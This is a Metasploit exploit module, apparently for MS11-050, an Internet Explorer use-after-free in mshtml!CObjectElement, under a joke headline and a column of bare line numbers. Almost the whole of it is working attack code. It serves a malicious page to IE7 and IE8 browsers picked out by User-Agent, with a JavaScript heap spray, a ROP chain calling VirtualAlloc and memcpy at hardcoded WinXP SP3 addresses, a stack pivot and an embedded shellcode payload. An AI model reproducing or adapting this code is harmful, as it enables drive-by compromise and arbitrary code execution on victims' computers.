Insecticides don't kill bugs, Patch Tuesdays do

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    include Msf::Exploit::Remote::HttpServer::HTML
    include Msf::Exploit::Remote::BrowserAutopwn
    autopwn_info({
        :ua_name    => HttpClients::IE,
        :ua_minver  => "7.0",
        :ua_maxver  => "8.0",
        :javascript => true,
        :os_name    => OperatingSystems::WINDOWS,
        :vuln_test  => nil, 
    })

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'IE mshtml!CObjectElement Use After Free',
            'Description'    => %q{
                This module exploits a use-after-free vulnerability in Internet Explorer. The vulnerability
                occurs when an invalid <object> tag exists and other elements overlap/cover where the object
                tag should be when rendered (due to their styles/positioning). The mshtml!CObjectElement is
                then freed from memory because it is invalid. However, the mshtml!CDisplay object for the page 
                continues to keep a reference to the freed <object> and attempts to call a function on it,
                leading to the use-after-free.
            },
            'Author'         =>
                [
                    'd0c_s4vage',
                ],
            'Version'        => 'Version 1.0',
            'References'     =>
                [
                    ["MSB", "MS11-050"],
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'thread',
                    'InitialAutoRunScript' => 'migrate -f',
                },
            'Payload'        =>
                {
                    'Space'         => 1024,
                    'BadChars'      => "\x00\x09\x0a\x0d'\\",
                    'StackAdjustment' => -3500,
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    [ 'Automatic', { } ],

                    # In IE6 the mshtml!CObjectElement size is 0xac

                    [ 'Internet Explorer 7', # 7.0.5730.13
                        {
                            # sizeof(mshtml!CObjectElement)
                            'FreedObjSize' =>  0xb0,
                            'FakeObjCount' => 0x4000,
                            'FakeObjCountKeep' => 0x2000,
                            'ForLoopNumObjects' => 3,
                            'FreedObjOverwritePointer'=>0x0c0c0c0c,
                            'FreedObjOffsetAlignSize'=>0,
                            'ROP' => false,
                        }
                    ],

                    [ 'Internet Explorer 8 (no DEP)', # 8.0.6001.18702
                        {
                            # sizeof(mshtml!CObjectElement)
                            'FreedObjSize' =>  0xe0, # 0xdc rounded up
                            'FakeObjCount' => 0x8000,
                            'FakeObjCountKeep' => 0x3000,
                            'ForLoopNumObjects' => 5,
                            'FreedObjOverwritePointer'=>0x0c0c0c0c,
                            'FreedObjOffsetAlignSize'=>0,
                            'ROP' => false,
                        }
                    ],

                    [ 'Internet Explorer 8',
                        {
                            'FreedObjSize' =>  0xe0, # 0xdc rounded up
                            'FakeObjCount' => 0x8000,
                            'FakeObjCountKeep' => 0x3000,
                            'ForLoopNumObjects' => 5,
                            'FreedObjOverwritePointer'=>0x0c0c0c0c,
                            'FreedObjOffsetAlignSize'=>2,
                            'StackPivot'=>0x773E3F18, # xchg eax,esp / ret - comctl32.dll
                            'ROP' => true,
                        }
                    ],

                    [ 'Debug Target (Crash)',
                        {
                        }
                    ],
                ],
            'DisclosureDate' => 'June 16 2011',
            'DefaultTarget'  => 0))
    end

    def auto_target(cli, request)
        agent = request.headers['User-Agent']
        if agent =~ /MSIE 8\.0/
            mytarget = targets[3] # IE 8
        elsif agent =~ /MSIE 7\.0/
            mytarget = targets[1]
        else
            print_error("Unknown User-Agent #{agent} from #{cli.peerhost}:#{cli.peerport}")
        end

        mytarget
    end

    # 3/22/2011
    # fully patched x32 WinXP SP3, IE 8.0.6001.18702
    def winxp_sp3_rva
        {
            "kernel32!VirtualAlloc" => 0x7c809af1,
            "ntdll!memcpy"          => 0x7c901db3,
        }
    end

    def compile_rop(rop_stack)
        rva = winxp_sp3_rva()
        num_random = 0
        rop_stack.map do |rop_val|
            case rop_val
            when String
                if rop_val == "random"
                    # useful for debugging
                    # num_random += 1
                    # 0xaabbcc00 + num_random
                    rand(0xffffffff)
                else
                    raise RuntimeError, "Unable to locate key: #{rop_val.inspect}" unless rva[rop_val]
                    rva[rop_val]
                end
            when Integer
                rop_val
            else
                raise RuntimeError, "unknown rop_val: #{rop_val.inspect}, #{rop_val.class}"
            end
        end.pack("V*")
    end

    def on_request_uri(cli, request)
        mytarget = target
        if target.name == 'Automatic'
            mytarget = auto_target(cli, request)
            unless mytarget
                send_not_found(cli)
                return
            end
        end
        @mytarget = mytarget
        @debug = true if mytarget == targets[4]

        return if ((p = regenerate_payload(cli)) == nil)

        if @debug
            data = <<-DATA
                <html>
                    <body>
                        <script language='javascript'>
                            document.body.innerHTML += "<object align='right' hspace='1000'   width='1000'>TAG_1</object>";
                            document.body.innerHTML += "<a id='tag_3' style='bottom:200cm;float:left;padding-left:-1000px;border-width:2000px;text-indent:-1000px' >TAG_3</a>";
                            document.body.innerHTML += "AAAAAAA";
                            document.body.innerHTML += "<strong style='font-size:1000pc;margin:auto -1000cm auto auto;' dir='ltr'>TAG_11</strong>";
                        </script>
                    </body>
                </html>
            DATA
            print_status("Triggering #{self.name} vulnerability at #{cli.peerhost}:#{cli.peerport} (target: #{mytarget.name})...")
            send_response(cli, data, { 'Content-Type' => 'text/html' })
            return
        end

        raw_shellcode = payload.encoded
        shellcode = Rex::Text.to_unescape(raw_shellcode, Rex::Arch.endian(mytarget.arch))

        spray = nil
        rop_shellcode_spray = nil

        obj_overwrite_ptr = [@mytarget['FreedObjOverwritePointer']].pack("V")

        if @mytarget['ROP']
            rop_stack = []
            0x1f.times do |i|
                rop_stack << "random"
            end

            idx = -1
            idx += 1 ; rop_stack[idx] = "kernel32!VirtualAlloc"        # 1:
            idx += 1 ; rop_stack[idx] = "ntdll!memcpy"                # 2:ret 10 to this after VirtualAlloc
            idx += 1 ; rop_stack[idx] = 0x7f000000                    # 1:VirtualAlloc:lpAddress
            idx += 1 ; rop_stack[idx] = 0x4000                        # 1:VirtualAlloc:dwSize
            idx += 1 ; rop_stack[idx] = (0x1000 | 0x2000)            # 1:VirtualAlloc:flAllocationType MEM_COMMIT | MEM_RESERVE
            idx += 1 ; rop_stack[idx] = 0x40                        # 1:VirtualAlloc:flProtect rwx
            idx += 1 ; rop_stack[idx] = 0x7f001000                    # 3:into this after memcpy
            idx += 1 ; rop_stack[idx] = 0x7f001000                    # 2:memcpy:dst
            idx += 1 ; rop_stack[idx] = 0x23000100                    # 2:memcpy:src
            idx += 1 ; rop_stack[idx] = 0x2fff                        # 2:memcpy:size

            # align the rest of it
            back = rop_stack.slice!((rop_stack.length-1)-2, rop_stack.length)
            rop_stack = back + rop_stack

            rop_stack << @mytarget['StackPivot']

            # align the stack for 0c0c0c0c
            front = rop_stack.slice!(0, 19)
            rop_stack = rop_stack + front

            # resolve strings in the rop_stack array (kernel32!VirtualAlloc, random, etc)
            rop = compile_rop(rop_stack)

            nops = make_nops(0x1000 - raw_shellcode.length)
            nops = Rex::Text.to_unescape(nops, Rex::Arch.endian(mytarget.arch))

            rop_shellcode_spray = <<-JS
                // spray up to 0x23000000
                var shellcode = unescape("#{shellcode}");
                var nops = unescape("#{nops}");
                while(nops.length < 0x1000) nops += nops;
                var shell_heapblock = nops.substring(0, 0x800-shellcode.length) + shellcode;
                while(shell_heapblock.length < 0x40000) shell_heapblock += shell_heapblock;
                shell_finalspray = shell_heapblock.substring(0, (0x20000-6)/2);
                for(var shell_counter = 0; shell_counter < 0x1000; shell_counter++) { heap_obj.alloc(shell_finalspray); }
            JS

            spray = rop
            shellcode = ""
        else
            spray = obj_overwrite_ptr
        end

        spray = Rex::Text.to_unescape(spray, Rex::Arch.endian(mytarget.arch))

        js = <<-JS
            heap_obj = new heapLib.ie(0x20000);
            var heapspray = unescape("#{spray}");
            while(heapspray.length < 0x1000) heapspray += heapspray;
            var shellcode = unescape("#{shellcode}");
            var heapblock = heapspray.substring(0, (0x800-shellcode.length)) + shellcode;
            var offset = #{[targets[1], targets[2]].include?(@mytarget) ? "0x400" : "0"};
            var front = heapblock.substring(0, offset);
            var end = heapblock.substring(offset);
            heapblock = end + front;
            while(heapblock.length < 0x20000) heapblock += heapblock;
            finalspray = heapblock.substring(0, (0x10000-6)/2);
            for(var counter1 = 0; counter1 < 0x1000; counter1++) { heap_obj.alloc(finalspray); }

            #{rop_shellcode_spray}

            var obj_overwrite = unescape("#{Rex::Text.to_unescape(obj_overwrite_ptr, Rex::Arch.endian(mytarget.arch))}");
            while(obj_overwrite.length < #{@mytarget['FreedObjSize']}) { obj_overwrite += obj_overwrite; }
            obj_overwrite = obj_overwrite.slice(0, (#{@mytarget['FreedObjSize']}-6)/2);

            for(var num_objs_counter = 0; num_objs_counter < #{@mytarget['ForLoopNumObjects']}; num_objs_counter++) {
                document.body.innerHTML += "<object align='right' hspace='1000' width='1000'>TAG_1</object>";
            }

            for(var counter4 = 0; counter4 < #{@mytarget['FakeObjCountKeep']}; counter4++) { heap_obj.alloc(obj_overwrite, "keepme1"); }
            for(var counter5 = 0; counter5 < #{@mytarget['FakeObjCountKeep']}; counter5++) { heap_obj.alloc(obj_overwrite, "keepme2"); }

            document.body.innerHTML += "<a id='tag_3' style='bottom:200cm;float:left;padding-left:-1000px;border-width:2000px;text-indent:-1000px' >TAG_3</a>";
            document.body.innerHTML += "AAAA";
            document.body.innerHTML += "<strong style='font-size:1000pc;margin:auto -1000cm auto auto;' dir='ltr'>TAG_11</strong>";
        JS
        opts = {
            'Symbols' => {
                'Variables' => %w{ heap_obj heapspray shellcode heapblock offset front end finalspray counter1
                                   obj_overwrite counter2 counter3 num_objs_counter counter4 counter5
                                   nops shell_heapblock shell_finalspray shell_counter
                                   fill_free_objs freeme keepme1 keepme2 },
                'Methods' => %w{  }
            }
        }
        js = ::Rex::Exploitation::ObfuscateJS.new(js, opts)
        # js.obfuscate()
        js = heaplib(js)

        html = <<-HTML
            <html>
                <body>
                    <script language='javascript'>
                    #{js}
                    </script>
                </body>
            </html>
        HTML

        print_status("Sending exploit for #{self.name} to #{cli.peerhost}:#{cli.peerport} (target: #{mytarget.name})...")

        send_response(cli, html, {'Content-Type'=>'text/html'})
    end
end